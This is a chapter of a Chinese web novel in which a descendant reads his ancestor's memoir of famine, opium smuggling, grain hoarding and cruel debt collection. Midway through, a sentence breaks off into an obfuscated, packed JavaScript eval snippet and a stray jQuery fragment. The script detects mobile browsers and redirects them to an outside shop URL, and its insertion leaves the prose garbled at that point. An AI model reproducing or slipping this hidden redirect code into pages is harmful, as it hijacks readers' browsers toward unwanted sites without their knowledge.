第二天,沈未明在藏书楼里找到了一本族谱。
族谱很旧了,封皮是深蓝色的布面,已经磨得发白。线装的,书页泛黄,边角都卷了。他小心翼翼地翻开,纸页发出沙沙的声音,像老人在咳嗽。
族谱第一页,就是沈观澜的名字。
名字下面,有一行小字:"始祖观澜公,生于道光二十五年,卒于光绪三十四年。少孤贫,有志气。同治年间,经商于沪上,积资巨万。归乡建观澜堂,为一方之望。"
就这么几句话。
沈未明翻了翻,后面的内容更简单。每一代,就一个名字,生卒年,娶了谁,生了几个儿子。寥寥数语,就把一个人的一生打发了。
他想起了石头上刻的故事。
如果石头上写的是真的,那沈观澜的发家史,肯定不像族谱上写的这么简单。
他在藏书楼里找了半天,想找些别的东西。日记啊,书信啊,什么都行。可是找来找去,除了一些四书五经、医书药典,就是几本地方志。没什么有用的。
直到傍晚,他在一个积满灰尘的箱子底下,翻出了一本旧书。
书没有封皮,不知道叫什么名字。纸页很黄,很脆。他翻开一看,是一本手抄本。字写得很工整,是小楷。
开头第一句:"余少逢乱世,流离失所,几死者数矣。今垂垂老矣,回首往事,恍如隔世。偶忆少年时事,犹觉心惊。录于此,以诫后人。"
落款是:"观澜老人,书于光绪二十六年。"
是沈观澜写的。
沈未明的心跳了一下。
他找了个干净点的地方坐下,就着天窗漏下来的最后一点光,慢慢读了起来。
沈观澜第一次见到死人,是在他十二岁那年。
那是咸丰十年,太平军打到了他的家乡。
他记得很清楚。那天早上,天还没亮,他爹就把他从床上拽了起来,塞给他一个小包袱,说:"走,快走。"
他还没睡醒,迷迷糊糊的,问:"爹,去哪啊?"
他爹没说话,拉着他就往外跑。他娘跟在后面,怀里抱着他妹妹。妹妹还小,才三岁,吓得哇哇哭。
他们跑啊跑。跑了不知道多久,跑到了一座山上。
他回头看。
山下的村子,已经成了一片火海。黑烟滚滚的,像一条黑龙,往天上窜。
他爹蹲在地上,抱着头,呜呜地哭。
他娘也哭。妹妹哭得更厉害了。
他站在那里,看着那片火,心里空空的。他还不太明白发生了什么。他只知道,家没了。
那天晚上,他们在山上待了一夜。
山里很冷。他们没有被子,就挤在一起,互相取暖。他爹把身上的衣服脱下来,裹在他和妹妹身上。他自己只穿了一件单衣,冻得浑身发抖。
第二天早上,他爹下山去找吃的。
去了就没再回来。
他们在山上等了三天。
第四天,他娘说:"不能等了,我们得走。"
他问:"爹呢?"
他娘没说话,只是摇了摇头。眼泪掉了下来。
他们就这么走了。
他娘带着他和妹妹,一路往南逃。
逃了多久,他记不清了。好像是几个月,又好像是几年。时间在逃难的日子里,变得模糊不清。
他只记得,每天都在走。走啊走。脚磨破了,就用布裹着继续走。饿了,就挖野菜,或者讨饭。
妹妹是在路上死的。
是饿死的。
那天,妹妹躺在他娘怀里,小声说:"娘,我饿。"
他娘摸了摸她的头,说:"乖,再等等,等找到了人家,就有吃的了。"
妹妹"嗯"了一声,就没再说话。
过了一会儿,他娘发现妹妹不动了。
她探了探妹妹的鼻息,然后,就抱着妹妹,开始哭。
哭得很轻,很压抑。像是怕吵醒谁似的。
沈观澜站在旁边,看着妹妹那张小小的、蜡黄的脸,心里像被什么东西堵住了。他想哭,可是哭不出来。
他那时候还不知道,这只是开始。
往后的日子里,他还会见到很多死人。多到最后,他都麻木了。
他们逃到上海的时候,是同治元年。
上海那时候,还不是后来的大上海。但比起他们一路见过的那些废墟,已经算是天堂了。
他娘在一个纱厂里找了份工,每天干活十二个时辰,挣几个铜板。他就去街上捡破烂,或者帮人跑腿。
日子很苦,但至少能活下去。
他娘总说:"等攒够了钱,我们就回家。"
他那时候还信。
直到第三年,他娘也死了。
是累死的。
那天,他娘在厂里干活,干着干着,突然就倒了下去。再也没起来。
厂主说,是急病。给了他几个铜板,就让他把人拉走了。
他用那几个铜板,买了口薄皮棺材,把他娘埋在了城外的乱葬岗。
埋完他娘,他站在坟前,站了很久。
他没有哭。
眼泪早就流干了。
他只是在想,以后,就只剩他一个人了。
那一年,他十五岁。
沈观澜在上海又待了五年。
这五年里,他什么都干过。在码头扛过包,在饭馆里跑过堂,甚至还去赌场当过伙计。
他吃了很多苦,也见了很多世面。
他发现,这世道,跟他小时候想的不一样。
他小时候,他爹总说,好好读书,将来考科举,光宗耀祖。他那时候也信。他爹还在的时候,他读过几年私塾,认得几个字。他那时候的理想,是当个秀才,最好能中个举人。
可是现在,他明白了。在这乱世里,读书有什么用?
秀才,举人,能当饭吃吗?
能让你爹娘不死吗?
不能。
有钱才行。
有了钱,你就不用挨饿。有了钱,你就不用看人脸色。有了钱,你就能活下去,而且活得比别人好。
从那时候起,他就打定了主意。
他要赚钱。
赚很多很多钱。
二十岁那年,他遇到了一个人。
那个人姓王,叫王掌柜。是个做丝绸生意的商人。
沈观澜那时候,在一家绸缎庄里当伙计。王掌柜是他们店里的常客。一来二去,就熟了。
王掌柜很赏识他。说他聪明,勤快,又会说话。是块做生意的料。
有一天,王掌柜问他:"小伙子,想不想自己干?"
沈观澜说:"想是想,可是我没钱。"
王掌柜笑了,说:"钱,我可以借给你。但是,你得帮我做件事。"
"什么事?"
王掌柜看了看四周,压低声音,说:"我有一批货,要从南边运过来。路上不太平,你得帮我押一趟。"
"押货?"
"嗯。"王掌柜点点头,"这批货很重要。要是能安全运到,我给你一百两银子。"
一百两。
沈观澜的心跳了一下。
他长这么大,还从来没见过这么多钱。
"可是……"他犹豫了一下,"路上有土匪吗?"
王掌柜笑了笑,说:"有是有。不过,我会派几个人跟你一起去。而且,我给你一把枪。"
枪。
沈观澜的心里,有点发怵。
他长这么大,别说枪了,连刀都没怎么拿过。
可是,一百两银子……
有了这一百两,他就能自己开个小铺子。就能不用再看人脸色。就能……就能把他爹娘的坟迁回老家,给他们立块碑。
他想起了他爹,想起了他娘,想起了妹妹。
想起了那些饿死的、冻死的、被杀死的人。
他咬了咬牙。
"好。"他说,"我去。"
王掌柜拍了拍他的肩膀,笑着说:"好小子,有胆量。"
出发那天,是个阴天。
一共五个人。除了沈观澜,还有四个保镖。都是彪形大汉,腰里别着刀。
他们赶着三辆马车,车上装着货。用布盖着,不知道里面是什么。
沈观澜问过王掌柜,里面是什么。王掌柜笑了笑,说:"丝绸。"
可是沈观澜不信。
哪有丝绸需要这么多保镖的?
而且,他发现,那几个保镖,看他的眼神都怪怪的。像是在看什么稀罕东西,又像是……像是在看一个死人。
他心里有点不安。
可是事到如今,已经没有退路了。
他们一路往南走。
走了几天,都很太平。
沈观澜的心,慢慢放了下来。他想,可能是自己想多了。
直到第五天。
那天,他们走到一片树林里。
突然,从树林里冲出来一群人。
都是土匪。拿着刀,拿着枪,嗷嗷叫着冲了过来。
那几个保镖,立刻就拔刀迎了上去。
两边打在了一起。
喊杀声,惨叫声,刀枪碰撞的声音,混在一起。
沈观澜蹲在马车后面,吓得浑身发抖。
他长这么大,还从来没见过这么血腥的场面。
刀砍在人身上,发出"噗嗤"的声音。血喷出来,溅得到处都是。
有人倒了下去,再也没起来。
他吓得闭上了眼睛。
不知道过了多久,声音停了。
他慢慢睁开眼。
地上躺了好几具尸体。有土匪的,也有保镖的。
那四个保镖,死了三个。剩下一个,也受了伤,胳膊上被砍了一刀,血哗哗地流。
土匪也死了几个,剩下的,都跑了。
沈观澜松了口气。
还好,挺过来了。
他刚想站起来,突然,"砰"的一声。
他旁边那个受伤的保镖,一头栽倒在地。
背上,有个血窟窿。
沈观澜愣住了。
他慢慢转过头。
王掌柜派来的那个领头的保镖,正站在他身后,手里拿着一把枪。枪口还冒着烟。
沈观澜的血,一下子凉了。
"你……你干什么?"
那个保镖笑了笑,说:"小伙子,对不住了。"
"为什么?"
"为什么?"那个保镖冷笑了一声,"你真以为,王掌柜让你来,是押货的?"
沈观澜的心沉了下去。
"那……那是为什么?"
"为了让你当替死鬼啊。"那个保镖说,"这批货,根本不是丝绸。是鸦片。"
鸦片。
沈观澜的脑子"嗡"的一声。
"王掌柜做的是鸦片生意。"那个保镖继续说,"这东西,抓住了是要杀头的。所以,每次运货,都得找个替死鬼。万一被官府抓住了,就把罪都推到他身上。"
他看着沈观澜,笑了笑,说:"小伙子,你运气不好。"
沈观澜看着他,浑身都在抖。
不是吓得。
是气得。
他想起了他爹娘,想起了妹妹,想起了这几年受的苦。他好不容易,好不容易才看到一点希望。可是这个人,一句话,就要把他的希望碾碎。
凭什么?
凭什么他们就能随便决定别人的生死?
凭什么?
那个保镖举起了枪,对准了他的头。
"对不住了,小伙子。"他说,"要怪,就怪你命不好。"
他的手指,扣在了扳机上。
沈观澜闭上了眼睛。
他想,完了。
可是,等了半天,没听到枪响。
他慢慢睁开眼。
那个保镖,直挺挺地站在那里,眼睛瞪得大大的。
然后,他"砰"的一声,倒了下去。
他的背后,插着一把刀。
刀是从哪里来的?
沈观澜愣住了。
他往旁边看。
树林里,走出来一个人。
是个土匪。脸上有一道疤,从额头一直划到下巴。看起来很凶。
他手里拿着一把刀,刀上还在滴血。
沈观澜的心跳到了嗓子眼。
刚走了一个,又来一个。
他今天,是不是死定了?
那个疤脸土匪走到他面前,看了看他。
沈观澜吓得浑身发抖,连话都说不出来了。
可是那个土匪,没有杀他。
他只是蹲下来,看了看那个保镖的尸体,然后,又看了看沈观澜。
"你是王掌柜的人?"他问。
沈观澜赶紧摇头。
"不是不是,我不是。"他说,"我是被他骗来的。"
那个疤脸土匪"哦"了一声,又问:"你叫什么名字?"
"沈……沈观澜。"
"沈观澜?"疤脸土匪想了想,"没听过。"
他站起来,看了看那几辆马车,说:"这批货,是王掌柜的?"
沈观澜点点头。
"嗯。"
"里面是什么?"
"鸦……鸦片。"
疤脸土匪笑了笑,说:"行啊,王胖子现在胆子越来越大了。"
他转过头,对沈观澜说:"小子,你运气不错。"
"啊?"
"要不是我们跟王胖子有仇,今天你就死定了。"疤脸土匪说,"这样吧,这批货,我们就收下了。算是王胖子欠我们的。"
他指了指地上的尸体,说:"这些人,你也不用管了。我们会处理。"
他看了看沈观澜,说:"你呢,赶紧走。走得越远越好。别让王胖子找到你。不然,他肯定不会放过你。"
沈观澜愣住了。
"就……就这么让我走?"
"不然呢?"疤脸土匪笑了笑,"杀了你?我们跟你又没仇。"
他拍了拍沈观澜的肩膀,说:"小子,记住,这世道,坏人多。别轻易相信别人。"
说完,他就招呼了几个手下,把那几辆马车赶走了。
沈观澜站在原地,愣了很久。
他还没反应过来。
刚才,他还以为自己死定了。
结果,就这么……没事了?
他看着地上的尸体,又看了看土匪们消失的方向,心里五味杂陈。
土匪救了他的命。
这世道,真是……
他苦笑了一下。
然后,他转身,往相反的方向跑了。
他知道,那个疤脸土匪说得对。他得赶紧走。王掌柜知道了货被劫了,肯定不会放过他。
他得逃。
逃得越远越好。
沈观澜逃到了苏州。
他不敢待在上海了。王掌柜在上海势力大,待在那里太危险。
苏州那时候,也刚经历过战乱。但比起上海,要安稳些。
他用身上仅剩的几个铜板,租了个小铺面,做点小生意。
卖什么呢?卖布。
他以前在绸缎庄干过,懂点行。
生意不好做。
他没本钱,进不了好货。只能进些最便宜的粗布,卖给穷人。赚不了几个钱。
有时候,一天都开不了张。
他饿过肚子。也受过冻。
可是,他从来没想过放弃。
他知道,他不能放弃。
他要是放弃了,就真的什么都没了。
他爹娘,他妹妹,就都白死了。
他咬着牙,撑着。
撑了一年又一年。
生意慢慢有了起色。
他这人,脑子活,嘴又甜,还实在。来他店里买布的人,都觉得他这人靠谱。慢慢的,回头客就多了。
他攒了点钱,就把铺面扩大了点。进的货,也越来越好。
又过了几年,他的布店,已经成了苏州城里小有名气的一家了。
他也不再是当年那个穷小子了。
他穿得起绸缎了。也吃得起肉了。出门,也有人叫他"沈掌柜"了。
可是,他还是不满足。
他见过太多的生死。他知道,这点钱,不算什么。
一场战乱,一场瘟疫,就能让你一夜回到解放前。
他得赚更多的钱。
多到,就算天塌下来,他也能扛得住。
真正让他发家的,是一次机会。
那年,是光绪三年。
北方闹旱灾。赤地千里,颗粒无收。
很多人都逃到了南方来。
粮食的价格,一天一个价。涨得飞快。
沈观澜那时候,已经有了点积蓄。他看到这个情况,心里动了。
他想,要是现在囤一批粮食,等过几个月,粮价涨得更高了再卖,肯定能赚一大笔。
可是,这也有风险。
万一,旱灾很快就过去了呢?万一,朝廷放粮了呢?那粮食砸在手里,就亏大了。
而且,囤粮居奇,这事……不太地道。
他犹豫了很久。
晚上,他躺在床上,翻来覆去睡不着。
他想起了他爹,想起了他娘,想起了妹妹。
想起了那些在逃难路上饿死的人。
如果那时候,有粮食的话……
他又想起了王掌柜,想起了那个要杀他的保镖。
想起了那个疤脸土匪。
这世道,就是这样。
你不狠,别人就会对你狠。
你讲良心,别人不会跟你讲良心。
你要是心软,最后死的就是你自己。
他想起了妹妹临死前说的那句话:"娘,我饿。"
他的心里,像被刀割一样。
他咬了咬牙。
干了。
良心值几个钱?
能换他妹妹的命吗?
不能。
第二天,他就把所有的积蓄都拿了出来,又找朋友借了点钱,凑了一大笔,全部用来买了粮食。
他租了好几个仓库,把粮食都存了起来。
然后,他就等。
等粮价上涨。
粮价确实在涨。
一天比一天高。
可是,他心里,却越来越不安。
他每天都去街上看。
街上的难民,越来越多。
有老人,有孩子,有妇女。
他们衣衫褴褛,面黄肌瘦。有的,躺在路边,奄奄一息。
有一次,他看到一个母亲,抱着一个孩子,跪在路边乞讨。
孩子很小,跟他妹妹死的时候差不多大。
那个母亲看到他,就给他磕头,说:"先生,求求您,给点吃的吧。孩子快不行了。"
沈观澜站在那里,看着那个孩子。
孩子闭着眼睛,小脸蜡黄。呼吸很微弱。
他想起了他妹妹。
他的心里,像被什么东西堵住了。
他掏出几个铜板,递给了那个母亲。
那个母亲千恩万谢的,拿着钱,买了个窝头,喂给孩子吃。
孩子慢慢睁开了眼,小声叫了声:"娘。"
那个母亲哭了。
沈观澜转过身,走了。
他不敢再看。
那天晚上,他一夜没睡。
他在想,他做的对不对?
他囤了那么多粮食,等着涨价。可是,那些粮食,能救多少人的命?
他要是现在把粮食拿出来,平价卖,或者干脆施舍,能救多少人?
可是,那样的话,他就亏了。
亏得血本无归。
他这么多年的努力,就都白费了。
他想起了他爹,想起了他娘,想起了妹妹。
他想起了那些死在逃难路上的人。
他不想再过那样的日子了。
他不想再让自己,或者自己的家人,再过那样的日子了。
人不为己,天诛地灭。
他对自己说。
这世道,就是这样。
你不狠,就活不下去。
粮价还在涨。
涨得比他预想的还要快。
到了秋天,粮价已经涨了三倍。
很多人都劝他,差不多了,该卖了。
可是他没卖。
他觉得,还能再涨。
他要赚更多。
他的胃口,越来越大了。
可是,他没想到,事情会突然变了。
那年冬天,朝廷下了令,从南方调了大批粮食,运往北方。
而且,还严打囤粮居奇的商人。
消息传来,粮价一下子就跌了。
跌得很快。
一天一个价,往下跌。
沈观澜慌了。
他想卖,可是没人买了。
大家都等着粮价继续跌。
他看着仓库里堆积如山的粮食,急得像热锅上的蚂蚁。
这要是砸在手里,他就全完了。
他借的那些钱,可是要还的。还不上,人家能把他生吞活剥了。
他急得团团转。
怎么办?
怎么办?
就在他走投无路的时候,一个人找到了他。
那个人,姓赵,叫赵老爷。是苏州城里有名的大财主。
赵老爷说,他可以把沈观澜的粮食都买下来。
但是,价格要按现在的市价,再打个对折。
对折?
沈观澜愣住了。
那他岂不是要亏死?
"赵老爷,这……这也太低了吧?"他说。
赵老爷笑了笑,说:"沈掌柜,你要想清楚。现在这行情,我肯买,就已经不错了。再过几天,说不定粮价还得跌。到那时候,你这些粮食,能不能卖出去,都不一定。"
沈观澜咬着牙,没说话。
他知道,赵老爷说的是实话。
可是,这个价格,他实在是接受不了。
他辛辛苦苦这么多年,好不容易攒下点家底。这一下,就要赔进去大半。
他不甘心。
可是,不甘心又能怎么样?
形势比人强。
他想了很久,最后,还是点了点头。
"好。"他说,"我卖。"
赵老爷笑了,说:"沈掌柜是个明白人。"
就这样,沈观澜把所有的粮食都卖给了赵老爷。
算下来,他不仅没赚到钱,还亏了一大笔。
把借的钱还完,他几乎又回到了原点。
几年的心血,一夜之间,就没了。
他坐在空荡荡的仓库里,坐了一夜。
他想笑,又想哭。
这就是命吗?
他不甘心。
他真的不甘心。
可是,事情的转机,就出现在这里。
第二年春天,旱灾又厉害了。
而且,比去年还厉害。
朝廷调来的那些粮食,根本不够吃。
粮价,又开始涨了。
而且,涨得比去年还凶。
赵老爷低价收了沈观澜的粮食,这一下,赚了个盆满钵满。
沈观澜听说了这件事,气得直拍桌子。
他知道,自己被赵老爷耍了。
赵老爷肯定早就知道,旱灾还会继续。所以才故意压价,买了他的粮食。
这个老狐狸。
可是,生气有什么用?
路是自己选的。
他只能认栽。
可是,他没想到,赵老爷会主动来找他。
那天,赵老爷派人来请他,说有要事相商。
沈观澜心里纳闷。
赵老爷找他干什么?
难道是看他可怜,想施舍他点?
他带着一肚子疑问,去了赵府。
赵老爷很客气,亲自在门口迎接他。
"沈掌柜,来了?快请进。"
沈观澜心里更纳闷了。
这赵老爷,葫芦里卖的什么药?
进了屋,分宾主坐下。赵老爷让人上了茶。
喝了几口茶,赵老爷才开口。
"沈掌柜,我听说,你最近,手头有点紧?"
沈观澜心里咯噔一下。
这是来看他笑话的?
他勉强笑了笑,说:"让赵老爷见笑了。"
赵老爷摆了摆手,说:"哎,话不能这么说。做生意嘛,有赚有赔,很正常。"
他看着沈观澜,笑了笑,说:"沈掌柜,我看你是个人才。怎么样,有没有兴趣,跟着我干?"
沈观澜愣住了。
"跟着您干?"
"嗯。"赵老爷点点头,"我缺个帮手。我看你,脑子活,有胆量,是块料。你要是愿意跟着我干,我保证,用不了几年,你就能把亏的那些钱,都赚回来。"
沈观澜看着赵老爷,心里有点犯嘀咕。
这赵老爷,为什么要找他?
苏州城里,有本事的人多了去了。为什么偏偏找他?
"赵老爷,"他犹豫了一下,说,"您为什么……"
赵老爷笑了笑,说:"为什么找你?因为我看你,跟我年轻的时候很像。"
他端起茶杯,喝了一口,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735652|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
慢悠悠地说:"我年轻的时候,也跟你一样。穷过,苦过,也栽过跟头。但是我知道,能从跟头里爬起来的人,将来都能成大事。"
他看着沈观澜,说:"我看你,就是这样的人。"
沈观澜没说话。
他不知道,赵老爷说的是真心话,还是在给他灌迷魂汤。
"怎么样?"赵老爷说,"考虑考虑?"
沈观澜想了想。
他现在,确实是走投无路了。
布店的生意,也不好做。照这样下去,他迟早得关门。
跟着赵老爷干,虽然不知道是福是祸,但至少,是个机会。
而且,赵老爷这么大的家业,跟着他,肯定能学到不少东西。
他咬了咬牙。
"好。"他说,"赵老爷,我跟着您干。"
赵老爷笑了,满意地点了点头。
"好。"他说,"沈掌柜,我果然没看错人。"
沈观澜就这样,成了赵老爷的手下。
他后来才知道,赵老爷做的生意,可不只是粮食。
什么赚钱,他就做什么。
粮食,布匹,盐,甚至……还有鸦片。
沈观澜第一次知道赵老爷也做鸦片生意的时候,心里咯噔了一下。
他想起了当年的王掌柜。
想起了那个要杀他的保镖。
想起了那些死在树林里的人。
他有点犹豫。
这生意,太危险了。抓住了,是要杀头的。
可是,他又想,这世道,做什么不危险?
老老实实做生意,就安全了吗?
上次囤粮食,他不也差点倾家荡产?
而且,赵老爷说了,跟着他干,赚的钱,是做正经生意的十倍,甚至百倍。
百倍。
沈观澜的心动了。
他想起了他爹,想起了他娘,想起了妹妹。
想起了那些挨饿的日子。
他不想再过那样的日子了。
他要做人上人。
他要让所有看不起他的人,都仰他的鼻息。
他要让他的子孙后代,永远都不用再受他受过的苦。
至于良心……
良心值几个钱?
他对自己说。
这世道,就是这样。
你不狠,就活不下去。
沈观澜很能干。
他脑子活,胆子大,又会来事。
很快,他就成了赵老爷最得力的助手。
赵老爷越来越信任他。很多重要的生意,都交给他去做。
他也确实没让赵老爷失望。
每一笔生意,都做得漂漂亮亮的。
赚的钱,越来越多。
他自己,也慢慢有了积蓄。
可是,他心里,却越来越不安。
他做的那些事,有些,实在是……太缺德了。
有一次,赵老爷让他去收一笔债。
欠债的,是个小生意人。生意赔了,还不上钱。
沈观澜带着人,去了他家。
那个小生意人,跪在地上,给他磕头,求他再宽限几天。
他家里,还有个生病的老婆,和几个嗷嗷待哺的孩子。
沈观澜看着他,心里有点不是滋味。
他想起了当年的自己。
当年,他娘带着他逃难的时候,是不是也这样,求过别人?
可是,他没办法。
他是替赵老爷办事的。
他要是心软了,回去没法交代。
而且,他也知道,对这些人仁慈,就是对自己残忍。
你今天放了他,明天他说不定就跑了。到时候,这笔钱,就得他自己赔。
他咬了咬牙。
"不行。"他说,"今天必须还钱。"
那个小生意人,还在哭着求他。
沈观澜一挥手,对手下说:"搬。"
手下的人,就冲了进去,把家里值钱的东西,都搬了出来。
那个小生意人,扑过来拦,被他们推倒在地。
他的老婆,从床上爬下来,抱着孩子,哭着求他们。
沈观澜站在那里,看着这一切,心里像被什么东西堵住了。
可是,他脸上,却一点表情都没有。
他转过身,走了。
他不敢再看。
那天晚上,他又失眠了。
他躺在床上,翻来覆去。
他想起了那个小生意人,想起了他的老婆孩子。
想起了他们绝望的眼神。
他问自己,他做的对吗?
他变成了什么样的人?
当年,他最恨的,就是王掌柜那样的人。
可是现在,他自己,也变成了那样的人。
甚至,比王掌柜还要狠。
他苦笑了一下。
这就是他想要的吗?
有钱了,可是良心没了。
这样活着,有意思吗?
可是,转念一想,良心能当饭吃吗?
要是他当年讲良心,他能有今天吗?
他早就饿死了。
这世道,就是这样。
你不狠,别人就会对你狠。
你讲良心,别人不会跟你讲良心。
他对自己说。
别想那么多了。
走一步,看一步吧。
沈观澜在赵老爷手下,干了十年。
这十年里,他帮赵老爷赚了很多钱。
他自己,也攒下了一份不小的家业。
他在苏州城里,买了房子,买了地。也娶了媳妇,生了孩子。
他终于,不再是当年那个穷小子了。
可是,他心里,却越来越空。
钱越来越多,可是快乐,却越来越少。
他每天晚上,都睡不好觉。
一闭上眼睛,就会看到很多人。
有他爹娘,有他妹妹。
有那个小生意人,有他的老婆孩子。
还有那些,死在他手里的人。
是的,死在他手里的人。
这些年,为了做生意,他手上,也沾过血。
虽然不是他亲自动的手,但人确实是因他而死。
他有时候会想,他死后,会不会下地狱?
应该会吧。
他做了这么多坏事,不下地狱,谁下地狱?
可是,他又想,下地狱就下地狱吧。
至少,他这辈子,活过了。
至少,他的孩子,不用再受他受过的苦。
值了。
光绪二十年,赵老爷死了。
是病死的。
赵老爷一死,赵家就乱了。
他的几个儿子,为了争家产,打得头破血流。
沈观澜一看这情况,知道赵家是靠不住了。
他干脆,把自己的股份都撤了出来,自立门户。
他自己开了家商行,什么生意都做。
他在赵老爷手下干了十年,什么都学会了。
人脉,门路,手段……他都有。
他的生意,做得风生水起。
没几年,就超过了当年的赵老爷。
他成了苏州城里,数一数二的大富商。
光绪二十五年,沈观澜回到了老家。
他离开老家,已经三十多年了。
三十多年啊。
他从一个十五岁的少年,变成了一个五十多岁的老头。
老家的样子,已经变了很多。
他小时候住的那个村子,早就没了。当年那场战乱,整个村子都被烧光了。后来,虽然也有人回来住,但已经不是当年的样子了。
他爹娘的坟,早就找不到了。
乱葬岗那里,埋了那么多人,谁知道哪个是他爹娘?
他站在那里,站了很久。
他想起了他爹,想起了他娘,想起了妹妹。
想起了他们逃难的日子。
想起了妹妹临死前说的那句话:"娘,我饿。"
他的眼泪,终于掉了下来。
这么多年了,他第一次哭。
他有钱了,有很多很多钱。
可是,他买不回他爹娘的命,也买不回他妹妹的命。
他买不回过去的任何东西。
钱,到底有什么用?
他不知道。
后来,沈观澜就在老家,建了观澜堂。
很大的一座宅子。
比他在苏州的房子,还要大,还要气派。
很多人都说,沈观澜发达了,不忘本,回老家建宅子,光宗耀祖。
只有他自己知道,他为什么要建这座宅子。
他不是为了光宗耀祖。
他是为了等。
等什么呢?
他也不知道。
也许,是等他爹娘的魂回来。
也许,是等他妹妹回来。
也许,是等他自己的良心,回来。
他把那块石头,从大荒山带了回来,放在了藏书楼里。
那块石头,是他当年逃难的时候,在大荒山脚下捡的。
他当时觉得,这块石头,跟他一样,孤零零的,没人要。
他就把它带在了身边。
一带,就是几十年。
他给石头起了个名字,叫"无言"。
石不能言最可人。
他觉得,这块石头,比人好多了。
它不会骗你,不会害你,不会背叛你。
它就安安静静地待在那里,听你说话。
不管你说什么,它都不会告诉别人。
他有什么心事,都会去跟石头说。
说他的愧疚,说他的不安,说他的后悔。
石头总是安安静静的,听着。
不说一句话。
可是,他觉得,石头懂他。
沈观澜的手札,到这里就结束了。
后面还有几页,都是空白的。
沈未明合上手抄本,坐在那里,愣了很久。
窗外的天,已经完全黑了。
藏书楼里,黑漆漆的,只有他手里的手机,发出微弱的光。
他的心里,很不是滋味。
他以前,总觉得,老祖宗都是些很了不起的人。白手起家,创下这么大的家业。
可是现在,他才知道,沈观澜的发家史,这么……不干净。
鸦片,高利贷,逼死人命……
这些事,听着都让人觉得心寒。
可是,他又恨不起来。
他能理解沈观澜。
一个从死人堆里爬出来的人,一个饿过肚子、见过太多生死的人,你让他讲良心,讲道德,是不是有点太奢侈了?
这世道,把人逼成这样的。
沈未明叹了口气。
他想起了石头上刻的那句话:"七世而斩。"
如果沈家的发家,是建立在这么多罪孽之上的,那"七世而斩",是不是就是报应?
一代又一代,偿还这些罪孽?
他不知道。
他只知道,他现在,有点理解沈观澜了。
理解他的愧疚,理解他的不安,理解他的后悔。
因为,他自己,也开始有那种感觉了。
自从走进了这座宅子,自从看到了那块石头,自从走进了镜中回廊……
他觉得,有什么东西,正在他身上,慢慢苏醒。
或者说,正在慢慢,缠上他。
沈未明站起身,把那本手抄本,放回了原处。
他拍了拍身上的灰,往藏书楼门口走去。
走到门口,他又回头看了一眼。
黑漆漆的藏书楼里,好像有什么东西,在看着他。
他打了个寒颤,赶紧推开门,走了出去。
外面的风,有点凉。
他站在院子里,深吸了一口气。
月亮出来了。
冷冷的月光,洒在地上,像一层霜。
他看着观澜堂的一座座房子,看着那些飞檐翘角,看着那些雕花门窗。
这座宅子,建得真好啊。
可是,谁知道,这华丽的外表下面,藏着多少肮脏的秘密?
藏着多少人的血和泪?
沈未明摇了摇头。
他不想了。
想这些,有什么用呢?
他转身,往自己的房间走去。
他的影子,被月光拉得很长很长。
在他的影子旁边,好像还有别的影子。
淡淡的,模模糊糊的。
跟着他,一起往前走。
像一群无声的随从。